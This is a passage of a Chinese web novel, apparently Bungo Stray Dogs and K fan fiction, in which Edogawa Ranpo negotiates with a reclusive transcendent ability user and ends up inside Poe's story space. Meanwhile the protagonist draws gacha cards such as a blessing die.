人之所愿, 皆为星辰。汝当可取一。” 江户川乱步挑了挑眉:“这是一次联系的机会,不是要将你邀请到那个世界去, 而是让你能联络上他。看这话的意思,他或许可以满足你一个愿望?” “啊?”见到没危险的中岛敦很好奇地凑过来:“太宰前辈做了什么?” “愿望?真的什么都可以许吗?”一直在状况外的宫泽贤治听到关键词, 猛地跳过来, 双眼变成星星眼。 “不行哟!”太宰治无情地打断了他的幻想, 他笑着说:“只是一些很普通的需求,太过分的话,他就会打你哦!” “啊……”想要无穷无尽牛肉盖饭的宫泽贤治不得不遗憾地放弃了自己的幻想, 退了回去。 “更何况, 我什么也没做, ”太宰治很理智, 他说:“与其他人不同的是,我是被他的弟弟带到那里去的, 他固然有补偿之意, 但我认为,也有这其中的一点原因。” 江户川乱步说:“不管怎样, 这都是一份超越者许下的承诺。若是其他人知道你拥有这个,很有可能会把谋划打到它身上去。” “你说的有道理, ”太宰治笑眯眯地说:“可是我的愿望,除了‘清爽的死亡’外,就什么都没有了啊。” 众人一阵汗颜。太宰治跳到台阶上,他双手插在兜里,半个身体陷入了阳光中:“他大概不会满足我这个愿望,放在我这里也是麻烦,那还不如将它让给乱步你好了。你其实也挺好奇的对吧?” 江户川乱步丝毫不惊讶,倒是其他人一副没能想到的样子,“我挺想知道,那些怪物的体内是什么样子的。”与谢野晶子在一旁安静地坐着。 “镜花应该会喜欢里面的小镇,动物居民听起来真的很有意思,只是,”说到后面,中岛敦暗暗垂下头来:“她好像已经准备好了要出国,要去寻找那两个女人。” 明明已经过去了,但那个叫伊莎贝尔的女人留给这座城市的印记依旧深刻难以消除。擂钵界的人复活是事实,是官方无论用了怎样的借口,也还是不能将之抹除的事实。那座废墟因死去人的回来而重新燃起了生机,政府划拨了大量的款项,要将之再度建立起来。他们不得不这样做,因为整座横滨城只余下了一个声音。 “那也挺好,”太宰治道:“人还是不需要支柱的好。” 他摆摆手,对江户川乱步道:“我相信你能够将它最大化利用起来的!”说完就去了自己的房间,看样子是要好好休息了。 ………… 超越者能做到什么程度呢?江户川乱步以前还没有这个概念,直到这次太宰治将自己所经历过的在武装侦探社中叙说,江户川乱步才知道,“更改因果”、“触碰规则”、“创造与毁灭”……这些才是他们所处的领域,他们与普通的异能者是完全不同的两样存在。而这次太宰治遇到的他,恐怕也是其中十分难缠的一位。 他以为自己还要等很久,可谁知道,当晚他就感知到了不对。 请柬在一旁的桌子中发出微微的光,紧接着,这红色的淡淡的光从这请柬中脱离出来,一瞬间的扩散,整个的房间都开始变色,就像是蜕皮的墙纸一样,他踏入了另外的一个世界。 周围的床铺和座椅已经不见了踪影,红色的“铁锈”开始蔓延生长,要在这个新的世界中生出新的种群;窗户是漆黑的,后面什么也看不到。四周安静的吓人,江户川乱步只能依靠自己的心跳来计数,他觉察到自己不能在这里多待,飞快地抬头往前看去。 “我感应到了你的决心,”没有人影,也没有怪物,只有一道声音忽然出现在他耳边,宏大轻柔,淡泊清冷,他说:“你想要找我。” 他说的很笃定,像是看穿了江户川乱步的内心。 乱步的心怦怦跳,可他依旧维持住了表面上的平静。前者是为了这转瞬改换空间的伟力,后者就是他一贯的叙事态度了。他发现这人并没有问起太宰治的事,要么是他默认那请柬已经归属于自己了,知道这是太宰送出的,要么就是……他根本不在乎! 他不在乎是谁来向他讨要那个请求,又是提出什么要求。 江户川乱步忽然对太宰治用以形容那个人的那个词有了更深一步的体会——“类神”。 不知是孤独于世外造就的心境,还是他本身便是这般的性情,这位新的超越者,将温柔与无情共同聚集在自己身上,以此构建出了一个自囚于世外的胜境。能够在拥有这份力量的情况下,还可以克制住自己,并忍耐无边寂寞,接受与家人的分离,能做到这些,他无疑是符合特务科给出的“圣”的评价的。 但这不代表他就没有危险性了。他的异能力本身就是这世上极可怕的危险了。 心中瞬间闪过这些资料,江户川乱步笑着大声说:“我确实是有想要寻求你帮助的想法,看来艾略特阁下在那张请柬上施了‘魔法’,能够感知到拥有者的心情。” “只能探知到一些最强烈的念头而已,不过是一些异能力的衍生应用,”声音,也就是艾略特淡淡地说:“而且也只能截停有关于我的部分,是个小技巧。” 乱步其实并不在意这些,他只是找了个话头,他接着问:“不知您是否知道横滨市的现状?” “你是说‘复活’?”艾略特问。 果然,这位超越者从来都知道外面发生了什么,他并没有停止成长,而是自己让自己主动变得成熟起来。 乱步摇了摇头:“已经发生的事是不能再改变的。虽然我等也曾努力去制止,但那位魔女撬动人心的手段太过高明,下手太过果断,之前又从没有声名,以至于让我们一步落后,步步落后。当然,失败了就是失败了,我等也无话可说。我说的是现在横滨市中几方盘踞的局势。” “你说。”艾略特说。 “赤之王与绿之王交战,爆发的冲突愈发密集,随着眷属的动作越来越大,两位王者也有了要交手的架势。青之王派了属下进驻横滨,虽然他有要制止争斗之意,但他到底只有一人,而另外的王者,却是有两位。” 顿了下,江户川乱步断然道:“横滨市绝不能成为下一个神奈川,坠剑的灾害绝不会在横滨市发生!” “嗯,你说。”艾略特回应道。 江户川乱步毫无异色:“在两位王的威势下,外来的组织‘组合’也依旧没有放弃,他们乘坐而来的白鲸还停留在外海面上,他们在暗地里搜寻‘书’的消息,行动又为两个王的势力所知,由此确认了目标的两个势力更是不肯离去。他们将横滨市分为几份,彼此互相监督、挟持、争斗、对峙,将这里当做了争夺‘书’的战场,在这里翻天覆地地寻找——” “这份请求并不值得我踏入这片战场。”艾略特没有为他的情感所动。 江户川乱步笑了起来,当他笑时,那双灵动的绿眸中就生出了无限狡黠,十分吸引人注意,他道:“这我自然是清楚的。这里的事也与您无关。” “这件事归根究底是‘书’的问题,”江户川乱步压了压帽子:“横滨市本身没有力量守护它,‘怀璧其罪’的道理懂得都懂,只是这个消息原本是在一个极小范围内传播的,却被一位女人打开了潘多拉的盒子,自此,一切就失了控。” 艾略特思索了下,问:“你想怎么做?” “我不准备去找那个女人的麻烦,”江户川乱步说:“那么多的国家在追逐她,现在也没有找到她,还让她彻底失去了踪迹。她对横滨的意义也是特殊的,虽然带来了麻烦,但更多的人感激她。而我们,也无法将之彻底视作敌人……” 艾略特静静地听着。江户川乱步将当日的事简略地叙说了一遍。而后,他风姿卓然地问。 “不知您是否察觉到,在那过程中,有一人后来从始至终都隐去了踪迹?” “……”艾略特没有说话。 江户川乱步也不以为意,他继续道:“在疯狂地找寻‘书’的同时,那三方也还在不停地寻找着与他们等同的一人。” “‘书’的踪迹缥缈难寻,但有人却是见过的,哪怕只是一页。”江户川乱步冷静道:“他不仅见过,还将那一页用在了自己的达摩克利斯剑上,那就是,”他压低了语气,眸子宛若幽渊道:“王权者中的暗影,赶下昏虐之王的新代,第一位限制自身王权、主动向石板发起试探的——” “无色之王!” 艾略特终是心中一震,他不明白本体是在什么时候有了这些称号,但随后一想,他觉着现在除了最后一个,其它的还是有那么点道理的。他看了眼江户川乱步,知道他应该是与御柱塔有了联系,才能够知晓某些事。他在自己的空间里摇了摇头,然后将这些讯息传达给了本体。 第107章 推断与约定 事实上, 裴真比艾略特所想的更快注意到这里,因为已经稍微有了名声,所以侦探社也开始不缺委托了。他会选出一些简洁不需要长期观察的去快速解决, 剩下的时光则随意搭配。 有了目标,但在目标外,生活还是自己的。裴真想的很好。 江户川乱步的话让他陷入了思索, 将自己称为“暗影”,大概是因为他一直不肯出面的缘故;赶下昏虐之王的新代……据他所知, 剧情中出现过的属于反派的无色之王,只有那位能夺人身躯的魂灵, 而自己的王权者能力与他是一致的,这便验证了他以前就有过的猜想, K的剧情有很大一部分之后不会再发生了, 因为, 在他刚来这个世界时,这本剧本的反派,就为他所篡夺——旧王已逝, 是为新王。 能够清楚地知道这些, 估计那位过去的王, 已经落入了“黄金”的手中吧。 这一次江户川乱步想要试探他, 这后面未必没有御柱塔中那位老人的意思。既然人找不到,就从他出手过的事入手吧。他大概是这样下决定的。 而至于最后一句, 限制自身王权, 向石板发起试探?这就纯属是那群人的猜想了,因为见到了锁链, 就想到了束缚,以自身目之所见, 去推测一件事的真相,很多事便是这样被误解了的。 裴真也不会去嘲笑他们,因为这纯属是情报缺失造成的。将自己隐藏起来,这不就是他一开始想要的吗? 他将视线投向异空间中的江户川乱步。 艾略特也看向了他。 “比起到了现在仍一丝踪迹都没有的‘书’,难道不是已经有了一张‘书’页的无色之王更好找吗?”江户川乱步镇静地说:“起码他是真实存在的,有自己的朋友(伊莎贝尔),也有一群并没有被收下的手下(西尾粧他们)。据说赤之王的精神并不好,他的眷属很担心他,为此不惜将自家的那座酒吧搬到横滨,你说,要是真的没救了,他们会怎样发疯?” 艾略特摇摇头:“你这话最好不要在无色之王的面前说。” 江户川乱步笑着道:“我相信能让那个女人承认为朋友的人,是不会没有看到这点,并将情绪撒在其他人身上的人。” 艾略特笑了下,他又问:“或许你说的有道理,可这与我又有什么关联呢?” “我希望能够得到这位无色之王的线索,最好能得到觐见他的机会。”江户川乱步弯下腰来,他身上的侦探服也随之微动,他将右手置于胸前,这是一个很诚恳的请求的动作。 艾略特真的笑出了声,他的音色依旧温柔:“我是很想帮助你们的,因为我允诺过要实现你们的一个请求。只是,在其他所有人都没有线索的现在,你是怎么觉得我一个从未见过他的人会有他的消息?” “我并不能确定,”江户川乱步直起身来,他目视着前方,“但既然不能说动您插手,我就只能另想办法了。之所以会尝试着向您提出这样的恳求,是因为,”他顿了下道:“那位阁下离开的方式。” “‘我们赶过去的时候,只看到一个模糊的人影。我们不确定这人影是不是我们的幻觉,因为他几乎是下一瞬就消失不见了。我们派出人,将上上下下,甚至是边缘的海下,都搜寻过了,没有发现一丝踪迹,他、他就像是,凭空消失了!’这是军方和政府人员说过的话,”江户川乱步眯起眼睛,细细说来:“其中的‘凭空消失’引起了我的注意,我先前并不明白,但心中也有了猜想,可还是缺少了点什么。” “你怀疑是我?”艾略特有些讶异。 “异空间,”江户川乱步断然道:“拥有这项能力的人,几乎不可能被围堵住。这也是最好的逃走的方式。” 艾略特的心情很复杂,在本体做成那件事的时候,他还没有诞生。但关键是,裴真从横滨市的包围圈中离去时,用的还真是那张【异空间】卡。 他叹息道:“你的想法真是天马行空。你说出这些,是有什么证据吗?” “那是破案的侦探需要的东西,有些时候,在证据链缺少了什么信息之时,猜想也是很重要的推进案件进展的步骤。”江户川乱步说:“在太宰那家伙带回来你的消息时,我的心就告诉我,是了,缺少的部分填充了进来,这样也就可以说得通了!” 艾略特失笑,他依旧坐在自己的那间小屋中,或许时光千年万年过去了,他的身影也不会有所改易。他没有将之彻底否定,因为那样有可能会暴出更多的东西,如果不是他,那难道还能是无色之王自己吗?就这一点,绝不可暴露。 “你就不怕你弄错了么?”他饮下一杯热茶,茶水中,是今日清晨刚摘下的红色的果子。他翠色的眼眸倒映在水中,平静中带着幽深。一边的八哥学着黄莺在轻声咏唱。 “你并非是对外界一无所知的,”江户川乱步依旧很恭敬,不卑不亢:“如果并非是你,但既然是在横滨市中失去踪迹的,果戈里也是在这座城市中感应到空间的,这座城或许对你也很独特?”江户川乱步揣摩着自己的话,可惜,这位超越者并未在他身前显出身形,他无法通过对方的表情和动作来确定他话的对错,“也许您会在城里看到一些我们没看到的东西?” “当然,若是我的想法错了,我自然也要承受错了的后果,”江户川乱步垂目道:“拿一件毫无关联的事来麻烦您,这次的请求也算是实现过了。太宰也不会对此有任何异议。” 艾略特吹了口热气,他从始至终都很冷静,就算是一贯很容易就能从人们身上看出所有的江户川乱步,也无法从他这里得到更多的讯息。“这就是能够被称为‘圣’的超越者么?”江户川乱步的思绪一闪而逝:“哪怕摈弃了那个可怕强大的异能力,他之本身,也是一位难缠到极点的人物。” 半晌,他听见这位超越者说:“听说横滨市中现在有一位叫作‘爱伦·坡’的异能力者?” 江户川乱步一愣。 “我对他的异能力很感兴趣,”艾略特淡淡道:“你将他带到这里来。顺便再带来一本书吧。” 江户川乱步的脑海中有如一道闪电劈过,他的头皮一阵发麻,心中几乎是转瞬就明白了,有某项契约在这里达成了!有某种关系在这里昭示了!他的所思所想,并非是毫无来由的!他的恳请,被答应了!他的嘴角勾起,说出的话也带着兴奋的音调:“是组合的‘坡’吗?他的能力,也确实是构建出一个故事的空间……” “我不会对他做出些不好的事。”艾略特打断了他的试探,他的语声从容:还有你们也是,但有些事,还是需要另一人同意的……” 这场谈话似乎经历了很长一段时间,在江户川乱步从那个奇异的空间中脱离出来后,他大口大口地喘着气,整个人半跪在地上,一只手抓在胸前好一会,才缓和了过来。他看了看时钟表,发现上面的时间只过去了两个小时。没有人发现他这里的异样,那些深沉的红色也褪去了,窗外白色的月光照射进来,给地上泼洒上一层水银般的色泽,他站立在原地良久,发现那封请柬就躺在他身边。 他开始回忆起自己的表现,将自己的话语一一复盘,思考哪里有犯了错。从那个女人的事件中他已明白,他的智慧并非是万能的,他也会犯错,也会追赶不及,也会一开始就失去自己的节奏。 他就这样坐在床边,一夜未睡。 第二日,爱伦坡就在江户川乱步的邀请下,来到了武装侦探社的位置。他的面上带着惊喜的笑,穿着一身黑色的风衣,微卷的黑发遮住了他大半张的脸,只有一只眼睛从中透出熠熠的辉光,他的肩膀上站着一只迷你的小浣熊,手中抱着一本大封面的书。他不像是一位危险的异能力者,倒像是一位神秘忧郁的贵族青年,只是一说话,就暴露出了他社恐的本质。 他微微驼着背,一见到江户川乱步,就猛地冲了过来,他大声道:“好多人,乱步君!一路上好多人,今天是什么日子啊?” 其实只是普通的周末双休日。 良久,他才适应了此处,他战战兢兢,特意压低了声音道:“真的是那位超越者要见我么?他也对我的故事感兴趣,想要进我的故事空间看一看?” 他的话语很小声,还左右乱望,像是怕惊扰到了什么。 江户川乱步甚至没用什么计谋,只是将昨晚一部分的事说出来,就引得爱伦坡主动从组合那边跑了出来,当然,有关无色之王的事他是一个字都没说。他轻声道:“这位超越者是对空间很感兴趣,他或许是想要借用你的力量,自己也塑造出一个类似的空间。对了,他让你带一本书来,你带了吗?” “当然带了!”爱伦坡很兴奋,他简直兴奋到不行。他一贯喜欢与人分享自己的故事,邀请他们去故事的空间,去体验自己为他们绞尽脑汁写出来的情节,而现在,是第一位有想要像他一样,塑造出同样空间的人。他一点也没有感到冒犯,只有找到同道之人的欣喜。 第108章 【黄昏之血】 江户川乱步认为作为超越者的艾略特, 应当会关注到当时正在发生由下而上改革的横滨市,而作为一切幕后黑手的无色之王,便有可能就此落入艾略特的观察之中。他们找不到他, 但一位超越者应该能知道更多东西。 当然,以上都是基于艾略特是在这座城市中失踪,后来他逐渐掌控住了自己的异能力, 也会对这座城市多加关注的前提下。他完全想不到的是,在伊莎贝尔还在这座城中“兴风弄雨”的时候, 艾略特根本没诞生。 使用空间能力溜走的是他的主体,而不是他这个马甲。但否认只会让江户川乱步联想到更多, 主体也对其它的王权剑有所谋划,所以, 承认下来也不是不可…… 江户川乱步只感觉一瞬头脑昏沉, 在爱伦坡踏入到他在的那个房间之际, “砰”的一声,他摔倒在地上。他最后的视觉印象,是爱伦坡和他的浣熊同样倒在他前方的身影。 房间外, 武装侦探社的人聚齐在大厅中。中岛敦环顾了一下社员, 他面带担忧道:“就这样让乱步君一个人去真的好吗?” 所有人都到齐了, 就连社长也正襟端坐在主位, 闭上眼,一言不发。 太宰治笑了下, 他抱着双臂, 没有正形地靠在一边:“那你们有将他劝下来吗?” 没有人做到了。太宰治笑道:“他已经有所成长了不是吗?社长你不也是这样认为的么?” 社长睁开眼,看了他一眼, 默认了下来。 “更何况,虽然能力很危险, 可这位超越者,却是少有的没有国家立场,没有犯下过罪恶,个人倾向于善,在没有触犯到他界限前,还能好好将人送出来的,独特的人。”太宰治捏着下巴:“还是有‘请柬’在手,让他去接触一番也没什么。” 太宰治都这样说了,其他人也就暂时放下心来。但他们还是决定这段时间暂时不离开侦探社太远。 外面人在聊些什么乱步不知道,他只知道,他在刚醒来的时候,头闷闷的疼,像是有人给其中灌入了水银,然后摇着他的肩膀,晃动了几十下。 他眨了下眼睛,入目的是不认识的天花板,身下的“床板”很硬,更像是铺了一层软垫的沙发,旁边传来人模糊的说话声。 “……我也不知道怎么回事,他是忽然晕倒的……” “惊扰了老爷的客人……” 他坐起身来,身上盖的毯子掉落在地上。旁边的那两个人好像听见了声音,一起往这边看过来。 “你醒了,江户川先生!”女人很高兴地叫了出来,她穿着一身女仆的服饰,年轻的脸上是放松下来的神情。 另一位是一个年老的管家,他一身挺拔的管家服,不苟言笑,单片的眼镜边垂落一条银色的细链子,平静的眼中带着不着痕迹的探究,他点点头,语气平静:“你没有事吧,江户川侦探,森岛说你刚来的时候忽然就晕过去了,可是身体有不舒服的地方?” 江户川乱步的记忆还停留在武装侦探社中,他记得自己是要去哪里的,可现在,没有太宰治所叙说的小镇,也没有他所提及过的古怪又诡异的另一处地界,反倒是有两个陌生人出现在他的眼前,从他们的问话中可知,他们都知道自己是谁。 “哦,我没什么事,只是刚来有些不适应。”听见隐约的声音,他忽而加上了一句:“大概是因为坐船的缘故吧,我不适应海上的气候,有些头晕,不过躺了一会就好了。” “是吗,”管家没有说什么,他看了他一会,没发现什么异样,就嘱托道:“江户川侦探有什么不舒服的地方可以尽管说,”他又转向女仆:“这位是老爷的贵客,你要好好照顾他,不可怠慢。” 女仆连忙应承下来,面上带了一丝害怕。看来这位管家平日的作风应该是很严格的,江户川乱步由此下了判断。 他扫视了一下这栋房子,暗暗判断自己的处境。这里的设施都很陈旧,地毯有些角落里已经褪色了,上方的水晶灯也颇为昏黄暗淡,但它的空间无疑很大,有几扇落地窗将阳光投入进来,旋转的木制的阶梯将道路引入上一层的楼层,楼梯上也布满了同色的布毯。 他走到落地窗前,果见外边是一层无垠的蔚蓝的海,浪花滚动如泡沫一般砸向海边,有白色的鸟在空中盘旋。玻璃中映照出来的还是他自己的那张脸,连衣服也没有变,他思忖起来。 没有进入那位超越者的异空间吗?不,他很快就推翻了自己的猜测,与其猜是对方出问题,还不如猜,他是故意的。问题是出在另一个人的身上。 果然,将爱伦坡带过来是有理由的。他现在应该不仅是在异空间里,也同样是在异空间中的故事空间里。套皮一样叠加起来,这样做真的不会出问题吗? 还有,爱伦坡这个家伙选用的是哪一部的故事? 他远不知道的是,在他还没能从昏睡中清醒过来的时候,另一人就在一处奇异之所开始了自己的选择。 “嘿嘿嘿嘿!”在知道自己能够做到什么的爱伦坡彻底兴奋了起来,他无疑是喜欢创作的,从小生长的环境塑造出了他的性子,没有人能与他交流,他就与自己的作品交流。他的异能力也是以此诞生的。但这些仍有限制,比如说,他只能选用特定的题材,必须有最具体的框架,只能在别人接触到他的小说时才能将其拉入……最重要的是,他只能使用自己的作品。 可现在,他感觉到了“扭曲”。一种奇异的力量插入到他的异能体系中来,然后,就如同枝丫生长出了节,从节上,它又新长出了芽,再然后,它就变得古怪又奇异起来。 “哈哈哈哈哈哈!”爱伦坡疯狂地大笑,他的头上长出了两个毛茸茸的耳朵,他的眼中被癫狂所覆盖,将一叠又一叠的稿纸毫不留情地撒向天上:“《厄舍府的倒塌》、《两钱铜币》、《D坂杀人事件》、《孤岛之鬼》?不不不!这些都已毫无新奇之意!我为什么只能一次又一次地用自己的作品拉人进来,什么东西用得多了,都不会有趣了,等到后面,我一看到自己的作品,都会感到厌恶……” 他身上的异变越来越明显,棕色的毛发从他的皮肤中钻出,瘦削的身体也开始膨胀,不多时,就已经瞧不见他过去的模样了,他胖墩墩地坐着,面部短而宽,一条套着黑环的尾巴来回摇摆着,两个大大的黑眼圈套在眼部周围,他满脸兴奋地用两只爪子不断地在稿子中翻弄。 一只矮小版的袖珍小浣熊从这庞然大物上跌落下来,它满脸惊恐地看着这个放大版的“自己”,一双原本透着机灵的小黑眼睛中俱是愕然,猛地,它似是想到了什么,眼中一下子就蓄满了泪水。 “竟是又一个主动拥抱变异的吗?”艾略特在小屋中观察着这一切,爱伦坡的变化自然一直被他看在眼中,无论如何,这种变态太快也太猛烈了,几乎能媲美天野鹤在这空间中受伤以后。“还是说,知道自己在一切结束后,会被我完好无损地送出去,所以才会肆无忌惮地让自己进入这种状态体验?”艾略特轻笑:“还真是个奇怪的人。” 在他看来,这种毫无来由的笃定是一种很危险的事,他从不会将自己的命运置于其他人的手中,尤其是,本体的命运。这大概就是他们这些马甲之所以诞生的因由吧。 “是了是了!”大号的浣熊一阵尖笑,“我才不要再用我自己的作品呢!码字实在是太痛苦了,塑造情节的时候能将我的头想秃,卡文的时候,感觉自己写出的都是什么垃圾,恨不得将所有文字都撕碎!“ “都有了这等珍贵的机会,我当然要用其他人的书了……嘿嘿,你们也有今天,就让我来将你们塑造而出,用我的手将你们从其他人的笔下夺走,让你们的人物成为我的人物,嘿嘿嘿,不知道为什么,越来越兴奋了!”他的身躯愈发膨胀,不多时,就像是一个守候财宝的老饕,一个超大号的浣熊坐在了一片废墟中,周边散落了一地的纸张。 可下一秒,他的手顿住了:“糟糕,身上除了自己的书,就没带其他人的,只有早上在路过书店的时候,拿了其中最推荐的几本。”他的眼珠子在眼眶中滴溜溜转了一圈。他不想让人看出自己的尴尬。尽管他不知道是否有人在看着,但如今的他本能的知道,这个地方是有主人的。 很快,他就从中选出一本,并立即将其往天上一扔,“去吧!”他满脸期待:“就让我来看看今年的推理作品新人奖!” 几乎是同一时间,在发现他扔出的是什么书的时候,艾略特沉默了下,将手中的杯盏放了下来。 “虽然我是有想过,可应该是在这里吗?”艾略特开始思索,自己是否在这其中插了一手,但很快,他就摇了摇头。江户川乱步想要见“无色之王”,他想要为他们构建出一个特殊的场地。主体不会用“裴真”的身份去见他,他也想用另外一种方式给予他机会。 他笑了起来。是啊,这部作品是爱伦坡选出来的,可是与他一点关系都没有呢。 第109章 人物 消息传来时, 裴真刚刚从金手指的奇异空间中走出,自书反馈回光点后,他也是时候去进行一波抽卡了。 那里依旧是那样的静谧, 就好像除却漫天星辰外,便不会再有第二样的东西了。越是来到那里,他就越是对自己的这个金手指的本质感到好奇, 可以提供这样多神妙的物品,它之本身, 又是何种来历呢? 又为什么要选择自己? 思绪微转,裴真一笑, 在得到一定的、足够自保的力量后,他也是有底气去思考更多的东西了。 他投入进1900的光点, 融液球一下子就空出一大半。 拖曳着长长的尾巴, 一颗银色的星辰来到了自己的面前。 [白银·珍物]【六面骰子】 “万象图变, 则万象不变。” 这是由何人制成的已不可知,但制作它的人一定是非常喜欢“随机”这个词。每一面,都能给你带去奇妙的机遇, 而每一次的投掷, 都是代表着一次命运的青睐。尽管它们持续的时间都不长久, 但, 一时的持有未必不是持有。此时,命运向你展示出的是—— “①将一件有利于你的事提前。幸运星在照耀着你。” “②避开一件灾祸之事。这个世界上, 有些时候, 平平安安才是最难得的。” “③心清气明,思考能力提升。任何外物都是虚的, 只有自身的提升才是真实的。” “④魅力闪耀,将人们的视线更容易吸引到你身上。你总会是舞台上最闪亮的一颗星。” “⑤财运up, 财运亨通,涉及到金钱的部分,你总是能获得更多收益,更容易与人达成正向的合作事宜,遇见消费的部分,也会获得打折或优惠。” “⑥创意无限,灵感的女神眷顾你,无论遇到怎样的瓶颈,你总是能一步跨过去,创作再不会有困境,你的作品总是极具灵性。” 但请记住,命运的青睐并不是无时无刻的,它们最多持续的时间只有二十四小时,且一次只能拥有一种祝福。而当你投掷过一次后,命运向你展示的,又会是另外的一面。没有什么是永久的,它在向你戏谑地笑着说。 裴真将之握在手中,这枚骰子犹如象牙制成,摸起来的触感温润如玉,每一面都一般大小,上面镌刻着一些看不懂的文字,但当心神触碰其上的时候,又瞬间能明了其中含义,正是以上六条增益。 裴真若有所思,鉴于六面中没有一面是负面的状态,他毫不犹豫地就将之往前一抛。 骰子发出欢悦的笑声,伴随着迸发出的光,它停留在水面上,其中一面向上。 “①将一件有益于你的事提前。” 提前?裴真思索,也就是说,这件事在之后是一定会发生的,它只是将它从时间线上往前拉……忽然,他心念一动,投进了100的光数进行抽卡。如果它能……裴真的心脏跳动。 卡牌停留在他眼前,是一颗青色的星星。 [青铜·时装]【哲学家】 “你常常在思索,人的一生,究竟是为了什么而来到这世上?” “就像是在烂泥堆里的青蛙却去思考星空。你的友人嘲笑你,连自身的安全都不能保障,连明天的食物都不能保证,却来思考这些无用的东西,就像浮在空中的虫子,风一吹,就不知去往了何处。” “你没有否认他,而是代入到他的角度去思考。片刻后,你恹恹地同他说,那要如何生活呢?为了生存而埋下头苦干,偶尔抬起头来,通过电视或一些媒体去窥视一下别人的生活。看见了别人的精彩,再感叹自身的普通。心生羡慕,却无计可施。 爱也爱的不够激烈,恨也恨的不够透彻,就像是闪光舞台下的背景板,一辈子,也就这样过去了。这就是你的未来吗? 我知道你,你也知道我。我们都相信,这世上是有最无私亲情、最纯粹友情和最深刻爱情的,但我们都是一个个的胆小鬼,又从来不够幸运,所以,一生,也就这么过去了。这就是你所预计的吗?” “你的友人哭了,并发誓以后再也不会同你交流,他哭着跑远了。你没有去追他,而是重新躺了下来,身下的烂泥柔软又温暖,你躺倒下来,又去看向了星空。” “就算不能触及,照耀到光也好。毕竟,你的思维是你唯一能够自由驭使的东西,你可以乘坐着它,飞到天上。” 裴真无法评价。但[时装]确实是他想要的。虽然文字里说的颓废,但其实,卡面上的人并不像友人评价的“青蛙”那般难看。相反,他有着一头长长的墨蓝色的头发,不仔细看,都以为是黑色的,他的眼是狭长的,只是是紧闭着的,没法看见他的瞳色。他身上的气质淡淡的,像是距离人很远。 裴真将之收了起来。下一个的马甲已经足够了。 为了试验,他又抽出了第三张的卡。 [青铜·杂物]【铃铛】 “人未至,声已先至。” 铃声清越,能够穿透距离,传播向前方。并无太大的功能,只是提醒人你的到来。 这是一个很漂亮的铃铛,下方系着一缕红色的流苏。但也由此试验出来了,【六面骰子】中的“一次”就是一次,而在那次投出后,六面中竟有三面变了一变。 “③心清气明→治愈,能治疗少量的伤势。” “④魅力闪耀→语言精通,能让你瞬间掌握一门语言,连其中的生僻字也难不倒你。” “⑤财运up→禄官垂青,近期发生的一件事,能让你的地位往上提升一级。” 不愧是一切随机,连其中的骰面也不是固定下来的。裴真可以想到,这枚骰子的等级绝对不低,只是,它的“随机”性能,让它的作用不是那么不可替代。 在抽取卡牌后还要来投一枚骰子,裴真表示,他已经受够了要靠运气来进行的游戏。他回去后就将手机里的这类游戏全部都删了! 说是这样说,但在出去之前,他还是将手中的这枚骰子往前一扔,反正这其上并没有负面的buff不是吗? 骰面上显示出“①”。 裴真有些哑然。他将骰子掌握在手中,然后一步落在了自家侦探社的地面上。 与此同时,艾略特送过来的消息也被他接收过来了。被选中的书……他沉默了一下,而后,面上浮出一抹笑。 ………… 江户川乱步在这段时期中,已经将这栋房屋摸得一清二楚了。这是座建设在海中岛上的老别墅了,最初的建立时间可以追溯到百多年前,之前的归属权是在一位贵族的老妇人手上,现在的拥有者是从她手中继承来的。 屋中的人数不多,只有一位老管家和几位女仆,男仆也有,但只有一个,还是在外面工作,据说正在修建小花园,那是主人家最喜欢的花园,平日里要花费很多的心思在上面。 他自己的身份也已确定了,是一位外来的侦探,被这家的主人邀请过来,似乎是有什么事要他做。他的名字也还是叫江户川乱步,这没有不对,他去过爱伦坡的故事空间,不论你在外面是什么人,进去后,故事都会将你的身份合理化。就如现今这般,没人对他出现在这里表示异议。 外界的大浣熊嘿嘿笑了起来,里面满是狡诈与期待。 但是,“无色之王”又是在哪里呢?他是想要见到他,而不是来加入一个故事的。他不怀疑这点,因爱伦坡本人都在异空间内,他势必违抗不了那位超越者的意志。 等到午餐的时候,他所期待的新的变化终于到来了。 外面下起了淅沥沥的小雨,雨势不大,但绵针一般的雨丝却搅得人心里烦闷。它们遮蔽住了天空,将一切的光亮挡住,将地上的泥也搅合在一起,与之一同践踏在人们的衣物上,让人们眉头皱起,心也像这天空一样,灰沉沉的。 一辆汽车从远方缓缓驶了过来,这座岛并不小,房屋离码头也有段距离,更何况是这样糟糕的天气。驾车的是那位管家本人,他的姿态很娴熟,避开了一些不平的地面。 江户川乱步并不感到惊讶。虽然这栋房屋很老式,但一些器具只有现代才有,他早就已经确定了,这个故事并不是发生在过去,而是发生在现今,只是背景是在一个古朽的地方而已。 汽车停了下来,从中走下了三个人。一个是穿着一身白西装的年轻人,短发蓝瞳,面容英俊,只是面上的一抹不耐烦破坏了他的气质,他是第一个下来的,没有等人,就急匆匆往里面来。 第二个是一位中年人,他穿着棕色的外衣,里面是一件针织的薄款开衫,手里提着一个箱子,与管家道过谢后,才从车里出来,他没有第一时间进去,而是等在一旁。他似乎对这里并不陌生。 第三位却是一位更年轻的人,他看样子最多也就十八九岁,面容稚嫩,鼻翼两旁还生有几粒小雀斑,他似是对这里的一切都极为好奇,尽管有掩饰,但他还是能看出,在看到这栋别墅的时候,有一瞬间,像是看见了什么不可思议的东西。 江户川乱步眉头一皱,感觉到了不对。 白西装的年轻人率先进入了别墅,下面传来大门被打开的声音。另两人也在管家撑伞的相伴下走进了房屋,一刹那,之前的寂静被驱散,喧哗声响起。 第110章 扮演 等到了夜晚, 今日白天里的来客才算是聚在了一起。他们坐在方形长桌的两边,互相打量着另外的人。 江户川乱步坐在左边的第一个位置上,他将双手十指交叉, 抵在下颌上,一双眼睛慢慢地从每一个人身上扫过。他在评估他们的身份与职业。 穿西装的青年有些不耐烦,他拿着刀叉切牛排, 因为切得急了,刀叉在盘子上划出尖锐的摩擦声, 他皱紧了眉,对着一边的管家道:“这就是他招待我们的仪式吗?将人扔在一起, 然后连面也不露?” 一边的中年人擦了擦嘴,他温和撇过头道:“春江先生的状态不太好, 或许他也想要招待我们, 只是力不能及。” 好了, 可以确定了,这个人是个医生,最起码从他的装扮和措辞来看, 是从事这方面行业的。最年轻的那位已经收敛了所有的好奇与兴奋, 在江户川乱步看过来的时候, 带着点忐忑道:“我是这里屋主人的侄子, 来这里是为了……” “你们有谁看过原本的故事?”江户川乱步忽而开口,他用审视的目光直刺向众人, 并毫不客气地打断年轻人的话。说话的人一愣, 他顿住了,之前的忐忑化为了探究, 他不动声色问:“什么故事?叔叔有说要讲什么故事吗?” 